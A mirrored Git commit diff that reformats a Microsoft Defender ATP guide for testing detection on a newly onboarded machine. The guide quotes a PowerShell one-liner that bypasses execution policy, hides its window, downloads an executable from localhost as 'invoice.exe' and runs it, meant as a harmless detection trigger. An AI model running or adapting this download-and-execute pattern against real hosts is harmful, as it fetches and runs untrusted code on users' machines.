mirror of
https://github.com/MicrosoftDocs/windows-itpro-docs.git
synced 2025-06-19 20:33:42 +00:00
Corrected list, indentation, and code block
This commit is contained in:
@ -33,15 +33,15 @@ Run the following PowerShell script on a newly onboarded machine to verify that
|
||||
1. Create a folder: 'C:\test-MDATP-test'.
|
||||
2. Open an elevated command-line prompt on the machine and run the script:
|
||||
|
||||
a. Go to **Start** and type **cmd**.
|
||||
1. Go to **Start** and type **cmd**.
|
||||
|
||||
b. Right-click **Command Prompt** and select **Run as administrator**.
|
||||
1. Right-click **Command Prompt** and select **Run as administrator**.
|
||||
|
||||

|
||||
|
||||
3. At the prompt, copy and run the following command:
|
||||
|
||||
```
|
||||
```powershell
|
||||
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-MDATP-test\\invoice.exe');Start-Process 'C:\\test-MDATP-test\\invoice.exe'
|
||||
```
|
||||
|
||||
|
Reference in New Issue
Block a user